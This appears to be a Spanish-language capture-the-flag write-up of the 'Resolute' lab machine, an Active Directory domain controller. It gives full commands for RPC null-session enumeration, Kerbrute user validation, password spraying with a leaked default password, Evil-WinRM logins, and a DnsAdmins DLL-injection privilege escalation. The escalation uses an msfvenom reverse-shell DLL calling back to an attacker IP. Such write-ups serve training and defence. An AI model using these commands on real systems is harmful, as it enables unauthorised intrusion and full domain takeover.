Entrada

Resolute

Máquina Windows de categoría media con los siguientes temas:

  • Enumeración RPC
  • Validación de usuarios con Kerbrute
  • Password spraying con Crackmapexec
  • Information Leakage
  • Shell via Evil-WinRM
  • Inyección DLL

Enumeración

Escaneo de puertos y servicios con Nmap

Empleando el comando nmap -p- --open 10.10.10.169 podemos escanear todo el rango de puertos existentes y que solo nos reporte los puertos abiertos de la máquina.

Agregando las flags -sC y -sV a los puertos descubiertos, podemos lanzar una serie de scripts básicos de reconocimiento para ver los servicios que corren para esta máquina y sus respectivas versiones.

1
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49684,49716 -sC -sV -oN target.txt 10.10.10.169
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Nmap scan report for 10.10.10.169
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-12 02:58:02Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49678/tcp open  msrpc        Microsoft Windows RPC
49679/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc        Microsoft Windows RPC
49716/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2023-07-11T19:58:55-07:00
|_clock-skew: mean: 2h26m59s, deviation: 4h02m30s, median: 6m58s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-07-12T02:59:00
|_  start_date: 2023-07-12T02:54:08
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Gracias a que vemos los servicios de DNS, Kerberos, SMB y LDAP expuestos, podemos deducir que nos encontramos ante un DC (Domain Controller).

Con el comando crackmapexec smb 10.10.10.169 podemos ver información relevante del DC.

DC_details

  • OS: Windows Server 2016 x64
  • Nombre: RESOLUTE
  • Dominio: megabank.local

Debido a que nos encontramos ante una máquina de Directorio Activo debemos agregar el dominio (megabank.local) al archivo /etc/hosts de nuestra máquina de atacante.

Podemos intentar conectarnos al servicio SMB de Windows empleando un “null session” debido a que no tenemos credenciales válidas.

1
smbmap -H 10.10.10.169 -u 'null'

smb-null

Pero vemos que nos da un error de autenticación asi que de momento vamos a enumerar otro servicio.

Enumeración RPC

Como no tenemos credenciales válidas podemos intentar enumerar el servicio RPC empleando un “null session” al igual que con el servicio SMB. Para esto podemos emplear la herramienta rpcclient agregando las flags -U y -N.

1
rpcclient -U '' 10.10.10.169 -N

Y vemos que podemos ingresar sin proporcionar credenciales!

Ahora podemos enumerar información relevante del Dominio mediante RPC.

Usuarios del Dominio

1
enumdomusers

domusers

Grupos del Dominio

1
enumdomgroups

domgroups

Otro comando que podemos utilizar para enumerar el Dominio mediante RPC, es querydispinfo que nos mostrará las descripciones de todos los usuarios del Dominio.

Descripciones de Usuarios

1
querydispinfo

dispinfo Y vemos que en la descripción del usuario marko dice:

Cuenta creada. Contraseña configurada como Welcome123!

Se ve que la contraseña por defecto al momento de crear una cuenta nueva es Welcome123!

Asi que ya tenemos un listado de usuarios del Dominio y una contraseña por defecto, pero pueden haber cuentas de usuario que esten inactivas o deshabilitadas. Como vemos el servicio Kerberos expuesto, podemos validar los usuarios encontrados mediante el uso de Kerberos con la herramienta kerbrute.

Validación de usuario con Kerbrute

Gracias a esta herramienta podemos emplear “brute-forcing” y enumerar cuentas válidas del Directorio Activo mediante la Pre-Autenticación de Kerberos.

Con el argumento userenum podemos validar los usuarios que encontramos via RPC. Con las flags --dc se indica la IP del Controlador de Dominio (DC) y con -d se especifica el nombre del Dominio.

1
kerbrute userenum --dc 10.10.10.169 -d megabank.local users.txt

kerbrute Vemos que tenemos 24 usuarios válidos del Dominio!

Si intentamos acceder como el usuario marko y la contraseña por defecto ‘Welcome123!’ vemos que la contraseña es incorrecta, por lo que podemos deducir que marko cambió su contraseña a tiempo.

¿Pero que pasaría si otro usuario no cambió su contraseña por defecto?

Password Spraying con Crackmapexec

Un “Password Spraying Attack” consiste en intentar una contraseña por defecto o un listado de contraseñas comúnes en varias cuentas de usuarios.

Empleando la herramienta crackmapexec podemos ver si algún usuario sigue teniendo la contraseña por defecto Welcome123!.

1
crackmapexec smb 10.10.10.169 -u users.txt -p 'Welcome123!'

passwordspray Y podemos ver que el usuario melanie no ha cambiado su contraseña!, asi que ya tenemos credenciales válidas dentro del Directorio Activo.

  • Usuario: melanie
  • Contraseña: Welcome123!

Acceso como el usuario melanie

Empleando la misma herramienta podemos validar si el usuario melanie forma parte del grupo “Remote Management Users”, porque de ser así, podriamos conectarnos a la máquina victima mediante evil-winrm.

1
crackmapexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'

crackmapexec-winrm Y vemos que nos reporta un (Pwn3d!), esto quiere decir que el usuario forma parte del grupo de Administración remota de Windows y podemos obtener una consola interactiva.

Shell via Evil-WinRM

1
evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'

evil-winrm Ahora tenemos acceso al DC como el usuario melanie y podemos visualizar la flag user.txt

Escalada de Privilegios

Una vez dentro del DC podemos irnos al directorio Users y ver los usuarios locales existentes. local-users

Vemos que hay cuatro usuarios locales:

  • Administrator
  • melanie
  • public
  • ryan

Convertirse en el usuario ryan

Enumerando directorios nos encontramos con una carpeta llamada “PSTranscripts” en la cual se encuentra un archivo txt de un script en PowerShell. folder txt

Si vemos el archivo vemos que se trata de una instrucción automatizada en PowerShell que se conecta una directorio compartido de red (SMB) ”\\fs01\backups” y que emplea credenciales en texto claro! script

  • Usuario: ryan
  • Contraseña: Serv3r4Admin4cc123!

Como ryan forma parte del grupo “Remote Management Users” podemos obtener una consola interactiva con evil-winrm.

1
evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'

ryan

Ahora podemos ver si el usuario ryan cuenta con mayores privilegios que melanie.

En el escritorio podemos encontrar una nota que dice:

  • Debido a la pausa administrativa, cualquier cambio en el sistema (excepto los de la cuenta Administrator) se revertirán automáticamente en 1 minuto.”

Así que cualquier cambio que hagamos en el sistema se eliminará cada 1 minuto.

Inyección DLL

Realizando un whoami /all podemos ver que el usuario ryan se encuentra dentro del grupo local Contractors y que este a su vez se encuentra dentro de DnsAdmins, convirtiendo a ryan en miembro de DnsAdmins. localgroup dnsadmin

El ataque se basa en una inyección DLL en el servicio dns que se ejecuta como SYSTEM en el servidor DNS, el cual, la mayoría de las veces se encuentra en el Domain Controller.

Para que el ataque funcione, necesitamos haber comprometido a un usuario que pertenezca al grupo DnsAdmins.

Para esto podemos generar un archivo DLL malicioso que entable una Reverse Shell hacia nuestro equipo de atacante por un puerto dado y almacenarlo como “privesc.dll”.

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=443 -f dll -o privesc.dll

msfvenom

Para poder hostear nuestro payload podemos crear una carpeta compartida a nivel de red (SMB) llamada “smbFolder” con:

1
impacket-smbserver smbFolder . -smb2support

De esta manera desde la máquina victima configurar el servidor DNS para que cargue nuestro DLL malicioso empleando el comando:

1
dnscmd.exe /config /serverlevelplugindll \\10.10.14.17\smbFolder\privesc.dll

dnscmd

Obtenemos el mensaje:

  • Propiedad de registro serverlevelplygindll restablecida correctamente.
  • Comando completado con éxito.

Una vez configurada la instrucción para que cargue nuestro DLL malicioso de nuestra carpeta SMB “smbFolder”, solo queda ponerse en escucha con Netcat en el puerto que especificamos en el payload creado y reiniciar el servicio DNS con:

1
2
sc.exe stop dns
sc.exe start dns

De esta manera al reiniciar el servicio DNS se va a cargar nuestra DLL maliciosa otorgandonos una Reverse Shell como el usuario nt authority\system, dandonos privilegios máximos sobre el dominio.

reverse pwned

pwned!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.